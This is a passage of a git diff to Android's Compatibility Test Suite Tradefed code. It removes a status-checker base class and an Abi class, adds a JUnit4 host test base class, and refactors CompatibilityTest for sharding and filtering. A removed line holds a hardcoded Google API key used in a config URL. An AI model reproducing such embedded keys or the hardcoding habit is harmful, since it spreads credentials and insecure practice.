index d804146..ca9bdcf 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/StayAwakePreparer.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/StayAwakePreparer.java
@@ -22,8 +22,6 @@
 import com.android.tradefed.targetprep.BuildError;
 import com.android.tradefed.targetprep.TargetSetupError;
 
-import java.util.Arrays;
-
 /**
  * Modifies the 'Stay Awake' setting of the device, so that the device's screen stays on
  * whenever charging via USB
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/SystemStatusChecker.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/SystemStatusChecker.java
deleted file mode 100644
index 41ab510..0000000
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/SystemStatusChecker.java
+++ /dev/null
@@ -1,109 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.tradefed.targetprep;
-
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.targetprep.BuildError;
-import com.android.tradefed.targetprep.ITargetCleaner;
-import com.android.tradefed.targetprep.TargetSetupError;
-
-/**
- * An {@link ITargetCleaner} that performs checks on system status and returns a boolean to indicate
- * if the system is in an expected state. Such check maybe performed either prior to or after a
- * module execution.
- * <p>Note: the checker must be reentrant: meaning that the same instance will be called multiple
- * times for each module executed, so it should not leave a state so as to interfere with the checks
- * to be performed for the following modules.
- */
-public abstract class SystemStatusChecker implements ITargetCleaner {
-
-    private String mFailureMessage = null;
-
-    /**
-     * {@inheritDoc}
-     */
-   @Override
-    public void setUp(ITestDevice device, IBuildInfo buildInfo)
-            throws TargetSetupError, BuildError, DeviceNotAvailableException {
-        boolean check = preExecutionCheck(device);
-        if (!check) {
-            CLog.w("Failed pre-module-execution status check, message: %s", mFailureMessage);
-        } else {
-            CLog.d("Passed system status check");
-        }
-    }
-
-   /**
-    * {@inheritDoc}
-    */
-    @Override
-    public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable t)
-            throws DeviceNotAvailableException {
-        boolean check = postExecutionCheck(device);
-        if (!check) {
-            CLog.w("Failed post-module-execution status check, message: %s", mFailureMessage);
-        } else {
-            CLog.d("Passed system status check");
-        }
-    }
-
-    /**
-     * Check system condition before test module execution. Subclass should override this method if
-     * a check is desirable here. Implementation must return a <code>boolean</code> value to
-     * indicate if the status check has passed or failed.
-     * <p>It's strongly recommended that system status be checked <strong>after</strong> module
-     * execution, and this method may be used for the purpose of caching certain system state
-     * prior to module execution.
-     *
-     * @return result of system status check
-     * @throws DeviceNotAvailableException
-     */
-    public boolean preExecutionCheck(ITestDevice device) throws DeviceNotAvailableException {
-        return true;
-    }
-
-    /**
-     * Check system condition after test module execution. Subclass should override this method if
-     * a check is desirable here. Implementation must return a <code>boolean</code> value to
-     * indicate if the status check has passed or failed.
-     *
-     * @return result of system status check
-     * @throws DeviceNotAvailableException
-     */
-    public boolean postExecutionCheck(ITestDevice device) throws DeviceNotAvailableException {
-        return true;
-    }
-
-    /**
-     * Sets failure message when a system status check failed for reporting purpose
-     * @param failureMessage
-     */
-    protected void setFailureMessage(String failureMessage) {
-        mFailureMessage = failureMessage;
-    }
-
-    /**
-     * Returns failure message set by the failed system status check
-     * @return
-     */
-    public String getFailureMessage() {
-        return mFailureMessage;
-    }
-}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/TokenRequirement.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/TokenRequirement.java
index 54b6bc0..f1faee9 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/TokenRequirement.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/TokenRequirement.java
@@ -20,6 +20,7 @@
 import com.android.tradefed.config.Option;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.targetprep.BuildError;
 import com.android.tradefed.targetprep.ITargetPreparer;
 import com.android.tradefed.targetprep.TargetSetupError;
@@ -45,7 +46,7 @@
     @Override
     public void setUp(ITestDevice device, IBuildInfo buildInfo) throws TargetSetupError,
             BuildError, DeviceNotAvailableException {
-        throw new TargetSetupError("TokenRequirement is not expected to run");
+        CLog.e("TokenRequirement is not expected to run");
     }
 
     /**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/WifiCheck.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/WifiCheck.java
index cfc4d7c..7bcf880 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/WifiCheck.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/targetprep/WifiCheck.java
@@ -23,9 +23,6 @@
 import com.android.tradefed.targetprep.BuildError;
 import com.android.tradefed.targetprep.TargetSetupError;
 
-import java.util.ArrayList;
-import java.util.List;
-
 /**
  * This preparer ensures that the device is connected to a network.
  * The options "wifi-ssid" and "wifi-psk" allow users of the preparer to attempt connection
@@ -52,6 +49,9 @@
         return pmFeatures.contains(WIFI_FEATURE);
     }
 
+    /**
+     * {@inheritDoc}
+     */
     @Override
     public void run(ITestDevice device, IBuildInfo buildInfo) throws TargetSetupError,
             BuildError, DeviceNotAvailableException {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/Abi.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/Abi.java
deleted file mode 100644
index fab990e..0000000
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/Abi.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.tradefed.testtype;
-
-import com.android.tradefed.testtype.IAbi;
-
-/**
- * A class representing an ABI.
- *
- * TODO(stuartscott): should be in TradeFed.
- */
-public class Abi implements IAbi {
-
-    private final String mName;
-    private final String mBitness;
-
-    public Abi(String name, String bitness) {
-        mName = name;
-        mBitness = bitness;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public String getName() {
-        return mName;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public String getBitness() {
-        return mBitness;
-    }
-
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    public String toString() {
-        return mName;
-    }
-
-}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
new file mode 100644
index 0000000..bd4653b
--- /dev/null
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityHostTestBase.java
@@ -0,0 +1,243 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.tradefed.testtype;
+
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import com.android.annotations.Nullable;
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.Log.LogLevel;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestIdentifier;
+import com.android.ddmlib.testrunner.TestResult;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.ddmlib.testrunner.TestRunResult;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IBuildReceiver;
+import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.util.AbiUtils;
+
+import org.junit.Assume;
+import org.junit.Before;
+import org.junit.internal.AssumptionViolatedException;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Compatibility host test base class for JUnit4 tests. Enables host-side tests written in JUnit4
+ * to access build and ABI information, as well as a reference to the testing device. The class
+ * includes methods to install and uninstall test packages, as well as methods to run device-side
+ * tests and retrieve their results.
+ */
+public class CompatibilityHostTestBase implements IAbiReceiver, IBuildReceiver, IDeviceTest {
+
+    protected static final String AJUR = "android.support.test.runner.AndroidJUnitRunner";
+
+    /** The build will be used. */
+    protected IBuildInfo mBuild;
+
+    /** The ABI to use. */
+    protected IAbi mAbi;
+
+    /** A reference to the device under test. */
+    protected ITestDevice mDevice;
+
+    /** The test runner used for test apps */
+    private String mRunner;
+
+    @Override
+    public void setAbi(IAbi abi) {
+        mAbi = abi;
+    }
+
+    @Override
+    public IAbi getAbi() {
+        return mAbi;
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        // Get the build, this is used to access the APK.
+        mBuild = buildInfo;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public ITestDevice getDevice() {
+        return mDevice;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void setDevice(ITestDevice device) {
+        mDevice = device;
+    }
+
+    @Before
+    public void baseSetUp() throws Exception {
+        mRunner = AJUR;
+    }
+
+    /**
+     * Set the runner name
+     * @param runner of the device test runner
+     */
+    protected void setRunner(String runner) {
+        mRunner = runner;
+    }
+
+    /**
+     * Get the runner name
+     * @return name of the device test runner
+     */
+    protected String getRunner() {
+        return mRunner;
+    }
+
+    /**
+     * Installs a package on the device
+     * @param fileName the name of the file to install
+     * @param options optional extra arguments to pass. See 'adb shell pm install --help' for
+     * available options
+     * @throws FileNotFoundException if file with filename cannot be found
+     * @throws DeviceNotAvailableException
+     */
+    protected void installPackage(String fileName, String... options)
+            throws FileNotFoundException, DeviceNotAvailableException {
+
+        final List<String> optList = new ArrayList<>(Arrays.asList(options));
+        optList.add(AbiUtils.createAbiFlag(mAbi.getName()));
+        options = optList.toArray(new String[optList.size()]);
+
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mBuild);
+        File testFile = new File(buildHelper.getTestsDir(), fileName);
+        // Install the APK on the device.
+        String installResult = mDevice.installPackage(testFile, true, options);
+
+        assertNull(String.format("Failed to install %s, Reason: %s", fileName, installResult),
+                installResult);
+    }
+
+    /**
+     * Uninstalls a package on the device
+     * @param pkgName the Android package to uninstall
+     * @return a {@link String} with an error code, or <code>null</code> if success
+     * @throws DeviceNotAvailableException
+     */
+    protected String uninstallPackage(String pkgName) throws DeviceNotAvailableException {
+        return mDevice.uninstallPackage(pkgName);
+    }
+
+    /**
+     * Checks if a package of a given name is installed on the device
+     * @param pkg the name of the package
+     * @return true if the package is found on the device
+     * @throws DeviceNotAvailableException
+     */
+    protected boolean isPackageInstalled(String pkg) throws DeviceNotAvailableException {
+        for (String installedPackage : mDevice.getInstalledPackageNames()) {
+            if (pkg.equals(installedPackage)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    private void printTestResult(TestRunResult runResult) {
+        for (Map.Entry<TestIdentifier, TestResult> testEntry :
+                     runResult.getTestResults().entrySet()) {
+            TestResult testResult = testEntry.getValue();
+            TestStatus testStatus = testResult.getStatus();
+            CLog.logAndDisplay(LogLevel.INFO,
+                    "Test " + testEntry.getKey() + ": " + testStatus);
+            if (testStatus != TestStatus.PASSED && testStatus != TestStatus.ASSUMPTION_FAILURE) {
+                CLog.logAndDisplay(LogLevel.WARN, testResult.getStackTrace());
+            }
+        }
+    }
+
+    /**
+     * Runs tests of a given package on the device and reports success.
+     * @param pkgName the name of the package containing tests
+     * @param testClassName the class from which tests should be collected. Tests are collected
+     * from all test classes in the package if null
+     * @return true if at least once test runs and there are no failures
+     * @throws AssertionError if device fails to run instrumentation tests
+     * @throws AssumptionViolatedException if each device test fails an assumption
+     * @throws DeviceNotAvailableException
+     */
+    protected boolean runDeviceTests(String pkgName, @Nullable String testClassName)
+            throws DeviceNotAvailableException {
+        return runDeviceTests(pkgName, testClassName, null /*testMethodName*/);
+    }
+
+    /**
+     * Runs tests of a given package on the device and reports success.
+     * @param pkgName the name of the package containing tests
+     * @param testClassName the class from which tests should be collected. Tests are collected
+     * from all test classes in the package if null
+     * @param testMethodName the test method to run. All tests from the class or package are run
+     * if null
+     * @return true if at least once test runs and there are no failures
+     * @throws AssertionError if device fails to run instrumentation tests
+     * @throws AssumptionViolatedException if each device test fails an assumption
+     * @throws DeviceNotAvailableException
+     */
+    protected boolean runDeviceTests(String pkgName, @Nullable String testClassName,
+            @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        TestRunResult runResult = doRunTests(pkgName, testClassName, testMethodName);
+        printTestResult(runResult);
+        // assume not all tests have skipped (and rethrow AssumptionViolatedException if so)
+        Assume.assumeTrue(runResult.getNumTests() != runResult.getNumTestsInState(
+                TestStatus.ASSUMPTION_FAILURE));
+        return !runResult.hasFailedTests() && runResult.getNumTests() > 0;
+    }
+
+    /** Helper method to run tests and return the listener that collected the results. */
+    private TestRunResult doRunTests(
+        String pkgName, String testClassName,
+        String testMethodName) throws DeviceNotAvailableException {
+        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
+            pkgName, mRunner, mDevice.getIDevice());
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        CollectingTestListener listener = new CollectingTestListener();
+        assertTrue(mDevice.runInstrumentationTests(testRunner, listener));
+        return listener.getCurrentRunResults();
+    }
+}
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
index 718a283..b5159d7 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/testtype/CompatibilityTest.java
@@ -21,24 +21,15 @@
 import com.android.compatibility.common.tradefed.result.InvocationFailureHandler;
 import com.android.compatibility.common.tradefed.result.SubPlanHelper;
 import com.android.compatibility.common.tradefed.targetprep.NetworkConnectivityChecker;
-import com.android.compatibility.common.tradefed.targetprep.SystemStatusChecker;
-import com.android.compatibility.common.tradefed.util.OptionHelper;
 import com.android.compatibility.common.tradefed.util.RetryFilterHelper;
 import com.android.compatibility.common.tradefed.util.RetryType;
-import com.android.compatibility.common.util.AbiUtils;
-import com.android.compatibility.common.util.ICaseResult;
+import com.android.compatibility.common.tradefed.util.UniqueModuleCountUtil;
 import com.android.compatibility.common.util.IInvocationResult;
-import com.android.compatibility.common.util.IModuleResult;
-import com.android.compatibility.common.util.ITestResult;
 import com.android.compatibility.common.util.ResultHandler;
 import com.android.compatibility.common.util.TestFilter;
-import com.android.compatibility.common.util.TestStatus;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.ConfigurationException;
-import com.android.tradefed.config.ConfigurationFactory;
-import com.android.tradefed.config.IConfiguration;
-import com.android.tradefed.config.IConfigurationFactory;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.config.Option.Importance;
 import com.android.tradefed.config.OptionClass;
@@ -46,77 +37,79 @@
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.DeviceUnresponsiveException;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.invoker.IInvocationContext;
+import com.android.tradefed.invoker.InvocationContext;
 import com.android.tradefed.log.ITestLogger;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.result.InputStreamSource;
 import com.android.tradefed.result.LogDataType;
-import com.android.tradefed.targetprep.ITargetPreparer;
+import com.android.tradefed.suite.checker.ISystemStatusChecker;
+import com.android.tradefed.suite.checker.ISystemStatusCheckerReceiver;
+import com.android.tradefed.testtype.Abi;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.testtype.IDeviceTest;
+import com.android.tradefed.testtype.IInvocationContextReceiver;
 import com.android.tradefed.testtype.IRemoteTest;
 import com.android.tradefed.testtype.IShardableTest;
+import com.android.tradefed.testtype.IStrictShardableTest;
+import com.android.tradefed.testtype.ITestCollector;
 import com.android.tradefed.util.AbiFormatter;
+import com.android.tradefed.util.AbiUtils;
 import com.android.tradefed.util.ArrayUtil;
+import com.android.tradefed.util.MultiMap;
+import com.android.tradefed.util.StreamUtil;
 import com.android.tradefed.util.TimeUtil;
-import com.android.tradefed.util.xml.AbstractXmlParser.ParseException;
+
+import com.google.common.annotations.VisibleForTesting;
 
 import java.io.ByteArrayOutputStream;
-import java.io.File;
-import java.io.FileInputStream;
 import java.io.FileNotFoundException;
-import java.io.InputStream;
-import java.io.IOException;
 import java.io.PrintWriter;
 import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.Collection;
 import java.util.HashSet;
+import java.util.LinkedHashSet;
 import java.util.LinkedList;
 import java.util.List;
 import java.util.Set;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
 /**
  * A Test for running Compatibility Suites
  */
 @OptionClass(alias = "compatibility")
-public class CompatibilityTest implements IDeviceTest, IShardableTest, IBuildReceiver {
+public class CompatibilityTest implements IDeviceTest, IShardableTest, IBuildReceiver,
+        IStrictShardableTest, ISystemStatusCheckerReceiver, ITestCollector,
+        IInvocationContextReceiver {
 
     public static final String INCLUDE_FILTER_OPTION = "include-filter";
     public static final String EXCLUDE_FILTER_OPTION = "exclude-filter";
-    private static final String PLAN_OPTION = "plan";
     public static final String SUBPLAN_OPTION = "subplan";
     public static final String MODULE_OPTION = "module";
     public static final String TEST_OPTION = "test";
     public static final String PRECONDITION_ARG_OPTION = "precondition-arg";
+    public static final String MODULE_ARG_OPTION = "module-arg";
+    public static final String TEST_ARG_OPTION = "test-arg";
     public static final char TEST_OPTION_SHORT_NAME = 't';
-    private static final String MODULE_ARG_OPTION = "module-arg";
-    private static final String TEST_ARG_OPTION = "test-arg";
     public static final String RETRY_OPTION = "retry";
     public static final String RETRY_TYPE_OPTION = "retry-type";
     public static final String ABI_OPTION = "abi";
-    private static final String SHARD_OPTION = "shards";
+    public static final String SHARD_OPTION = "shards";
     public static final String SKIP_DEVICE_INFO_OPTION = "skip-device-info";
     public static final String SKIP_PRECONDITIONS_OPTION = "skip-preconditions";
+    public static final String SKIP_HOST_ARCH_CHECK = "skip-host-arch-check";
     public static final String PRIMARY_ABI_RUN = "primary-abi-only";
     public static final String DEVICE_TOKEN_OPTION = "device-token";
     public static final String LOGCAT_ON_FAILURE_SIZE_OPTION = "logcat-on-failure-size";
-    private static final String URL = "dynamic-config-url";
 
     // Constants for checking invocation or preconditions preparation failure
     private static final int NUM_PREP_ATTEMPTS = 10;
     private static final int MINUTES_PER_PREP_ATTEMPT = 2;
 
-    /* API Key for compatibility test project, used for dynamic configuration */
-    private static final String API_KEY = "AIzaSyAbwX5JRlmsLeygY2WWihpIJPXFLueOQ3U";
-
-
-    @Option(name = PLAN_OPTION,
-            description = "the test suite plan to run, such as \"everything\" or \"cts\"",
-            importance = Importance.ALWAYS)
-    private String mSuitePlan;
-
     @Option(name = SUBPLAN_OPTION,
             description = "the subplan to run",
             importance = Importance.IF_UNSET)
@@ -181,19 +174,20 @@
     private String mAbiName = null;
 
     @Option(name = SHARD_OPTION,
-            description = "split the modules up to run on multiple devices concurrently.")
+            description = "split the modules up to run on multiple devices concurrently. "
+                    + "Deprecated, use --shard-count instead.")
+    @Deprecated
     private int mShards = 1;
 
-    @Option(name = URL,
-            description = "Specify the url for override config")
-    private String mURL = "https://androidpartner.googleapis.com/v1/dynamicconfig/"
-            + "suites/{suite-name}/modules/{module}/version/{version}?key=" + API_KEY;
-
     @Option(name = SKIP_DEVICE_INFO_OPTION,
             shortName = 'd',
             description = "Whether device info collection should be skipped")
     private boolean mSkipDeviceInfo = false;
 
+    @Option(name = SKIP_HOST_ARCH_CHECK,
+            description = "Whether host architecture check should be skipped")
+    private boolean mSkipHostArchCheck = false;
+
     @Option(name = SKIP_PRECONDITIONS_OPTION,
             shortName = 'o',
             description = "Whether preconditions should be skipped")
@@ -269,34 +263,64 @@
             + "If not specified, all configured system status checkers are run.")
     private Set<String> mSystemStatusCheckWhitelist = new HashSet<>();
 
-    @Option(name = "system-status-checker-config", description = "Configuration file for system "
-            + "status checkers invoked between module execution.")
-    private String mSystemStatusCheckerConfig = "system-status-checkers";
+    private List<ISystemStatusChecker> mListCheckers = new ArrayList<>();
+
+    @Option(name = "collect-tests-only",
+            description = "Only invoke the suite to collect list of applicable test cases. All "
+                    + "test run callbacks will be triggered, but test execution will not be "
+                    + "actually carried out.")
+    private Boolean mCollectTestsOnly = null;
+
+    @Option(name = "module-metadata-include-filter",
+            description = "Include modules for execution based on matching of metadata fields: "
+                    + "for any of the specified filter name and value, if a module has a metadata "
+                    + "field with the same name and value, it will be included. When both module "
+                    + "inclusion and exclusion rules are applied, inclusion rules will be "
+                    + "evaluated first. Using this together with test filter inclusion rules may "
+                    + "result in no tests to execute if the rules don't overlap.")
+    private MultiMap<String, String> mModuleMetadataIncludeFilter = new MultiMap<>();
+
+    @Option(name = "module-metadata-exclude-filter",
+            description = "Exclude modules for execution based on matching of metadata fields: "
+                    + "for any of the specified filter name and value, if a module has a metadata "
+                    + "field with the same name and value, it will be excluded. When both module "
+                    + "inclusion and exclusion rules are applied, inclusion rules will be "
+                    + "evaluated first.")
+    private MultiMap<String, String> mModuleMetadataExcludeFilter = new MultiMap<>();
 
     private int mTotalShards;
+    private Integer mShardIndex = null;
     private IModuleRepo mModuleRepo;
     private ITestDevice mDevice;
     private CompatibilityBuildHelper mBuildHelper;
 
+    // variables used for local sharding scenario
+    private static CountDownLatch sPreparedLatch;
+    private boolean mIsLocalSharding = false;
+    private boolean mIsSharded = false;
+
+    private IInvocationContext mInvocationContext;
+
     /**
      * Create a new {@link CompatibilityTest} that will run the default list of
      * modules.
      */
     public CompatibilityTest() {
-        this(1 /* totalShards */, new ModuleRepo());
+        this(1 /* totalShards */, new ModuleRepo(), 0);
     }
 
     /**
      * Create a new {@link CompatibilityTest} that will run a sublist of
      * modules.
      */
-    public CompatibilityTest(int totalShards, IModuleRepo moduleRepo) {
+    public CompatibilityTest(int totalShards, IModuleRepo moduleRepo, Integer shardIndex) {
         if (totalShards < 1) {
             throw new IllegalArgumentException(
                     "Must be at least 1 shard. Given:" + totalShards);
         }
         mTotalShards = totalShards;
         mModuleRepo = moduleRepo;
+        mShardIndex = shardIndex;
     }
 
     /**
@@ -321,11 +345,6 @@
     @Override
     public void setBuild(IBuildInfo buildInfo) {
         mBuildHelper = new CompatibilityBuildHelper(buildInfo);
-        // Initializing the mBuildHelper also updates properties in buildInfo.
-        // TODO(nicksauer): Keeping invocation properties around via buildInfo
-        // is confusing and would be better done in an "InvocationInfo".
-        // Note, the current time is used to generated the result directory.
-        mBuildHelper.init(mSuitePlan, mURL, System.currentTimeMillis());
     }
 
     /**
@@ -334,35 +353,76 @@
     @Override
     public void run(ITestInvocationListener listener) throws DeviceNotAvailableException {
         try {
-            // Synchronized so only one shard enters and sets up the moduleRepo. When the other
-            // shards enter after this, moduleRepo is already initialized so they dont do anything
+            List<ISystemStatusChecker> checkers = new ArrayList<>();
+            // Get system status checkers
+            if (mSkipAllSystemStatusCheck) {
+                CLog.d("Skipping system status checkers");
+            } else {
+                checkSystemStatusBlackAndWhiteList();
+                for (ISystemStatusChecker checker : mListCheckers) {
+                    if(shouldIncludeSystemStatusChecker(checker)) {
+                        checkers.add(checker);
+                    }
+                }
+            }
+
+            // FIXME: Each shard will do a full initialization which is not optimal. Need a way
+            // to be more specific on what to initialize.
+            LinkedList<IModuleDef> modules;
             synchronized (mModuleRepo) {
                 if (!mModuleRepo.isInitialized()) {
                     setupFilters();
                     // Initialize the repository, {@link CompatibilityBuildHelper#getTestsDir} can
                     // throw a {@link FileNotFoundException}
-                    mModuleRepo.initialize(mTotalShards, mBuildHelper.getTestsDir(), getAbis(),
-                            mDeviceTokens, mTestArgs, mModuleArgs, mIncludeFilters,
-                            mExcludeFilters, mBuildHelper.getBuildInfo());
+                    mModuleRepo.initialize(mTotalShards, mShardIndex, mBuildHelper.getTestsDir(),
+                            getAbis(), mDeviceTokens, mTestArgs, mModuleArgs, mIncludeFilters,
+                            mExcludeFilters,
+                            mModuleMetadataIncludeFilter, mModuleMetadataExcludeFilter,
+                            mBuildHelper.getBuildInfo());
 
                     // Add the entire list of modules to the CompatibilityBuildHelper for reporting
                     mBuildHelper.setModuleIds(mModuleRepo.getModuleIds());
-                }
 
+                    int count = UniqueModuleCountUtil.countUniqueModules(
+                            mModuleRepo.getTokenModules()) +
+                            UniqueModuleCountUtil.countUniqueModules(
+                                    mModuleRepo.getNonTokenModules());
+                    CLog.logAndDisplay(LogLevel.INFO, "========================================");
+                    CLog.logAndDisplay(LogLevel.INFO, "Starting a run with %s unique modules.",
+                            count);
+                    CLog.logAndDisplay(LogLevel.INFO, "========================================");
+                } else {
+                    CLog.d("ModuleRepo already initialized.");
+                }
+                // Get the tests to run in this shard
+                modules = mModuleRepo.getModules(getDevice().getSerialNumber(), mShardIndex);
             }
+            mExcludeFilters.clear();
+            mIncludeFilters.clear();
             // Update BuildInfo in each shard to store the original command-line arguments from
             // the session to be retried. These arguments will be serialized in the report later.
             if (mRetrySessionId != null) {
                 loadRetryCommandLineArgs(mRetrySessionId);
             }
-            // Get the tests to run in this shard
-            List<IModuleDef> modules = mModuleRepo.getModules(getDevice().getSerialNumber());
 
             listener = new FailureListener(listener, getDevice(), mBugReportOnFailure,
                     mLogcatOnFailure, mScreenshotOnFailure, mRebootOnFailure, mMaxLogcatBytes);
             int moduleCount = modules.size();
-            CLog.logAndDisplay(LogLevel.INFO, "Starting %d module%s on %s", moduleCount,
-                    (moduleCount > 1) ? "s" : "", mDevice.getSerialNumber());
+            if (moduleCount == 0) {
+                CLog.logAndDisplay(LogLevel.INFO, "No module to run on %s.",
+                        mDevice.getSerialNumber());
+                // Make sure we unlock other shards.
+                if (sPreparedLatch != null) {
+                    sPreparedLatch.countDown();
+                }
+                return;
+            } else {
+                int uniqueModuleCount = UniqueModuleCountUtil.countUniqueModules(modules);
+                CLog.logAndDisplay(LogLevel.INFO, "Starting %d test sub-module%s on %s",
+                        uniqueModuleCount, (uniqueModuleCount > 1) ? "s" : "",
+                                mDevice.getSerialNumber());
+            }
+
             if (mRebootBeforeTest) {
                 CLog.d("Rebooting device before test starts as requested.");
                 mDevice.reboot();
@@ -375,16 +435,6 @@
                 mSystemStatusCheckBlacklist.add(clazz);
             }
 
-            // Get system status checkers
-            List<SystemStatusChecker> checkers = null;
-            if (!mSkipAllSystemStatusCheck) {
-                try {
-                    checkers = initSystemStatusCheckers();
-                } catch (ConfigurationException ce) {
-                    throw new RuntimeException("failed to load system status checker config", ce);
-                }
-            }
-
             // Set values and run preconditions
             boolean isPrepared = true; // whether the device has been successfully prepared
             for (int i = 0; i < moduleCount; i++) {
@@ -392,29 +442,43 @@
                 module.setBuild(mBuildHelper.getBuildInfo());
                 module.setDevice(mDevice);
                 module.setPreparerWhitelist(mPreparerWhitelist);
+                // don't set a value if unspecified
+                if (mCollectTestsOnly != null) {
+                    module.setCollectTestsOnly(mCollectTestsOnly);
+                }
                 isPrepared &= (module.prepare(mSkipPreconditions, mPreconditionArgs));
             }
-            mModuleRepo.setPrepared(isPrepared);
-
-            int prepAttempt = 1;
-            while (!mModuleRepo.isPrepared(MINUTES_PER_PREP_ATTEMPT, TimeUnit.MINUTES)) {
-                if (prepAttempt >= NUM_PREP_ATTEMPTS
-                        || InvocationFailureHandler.hasFailed(mBuildHelper)) {
-                    CLog.logAndDisplay(LogLevel.ERROR,
-                            "Incorrect preparation detected, exiting test run from %s",
-                            mDevice.getSerialNumber());
-                    return;
-                } else {
-                    CLog.logAndDisplay(LogLevel.INFO,
-                            "Device %s on standby while all shards complete preparation",
-                            mDevice.getSerialNumber());
-                }
-                prepAttempt++;
+            if (!isPrepared) {
+                throw new RuntimeException(String.format("Failed preconditions on %s",
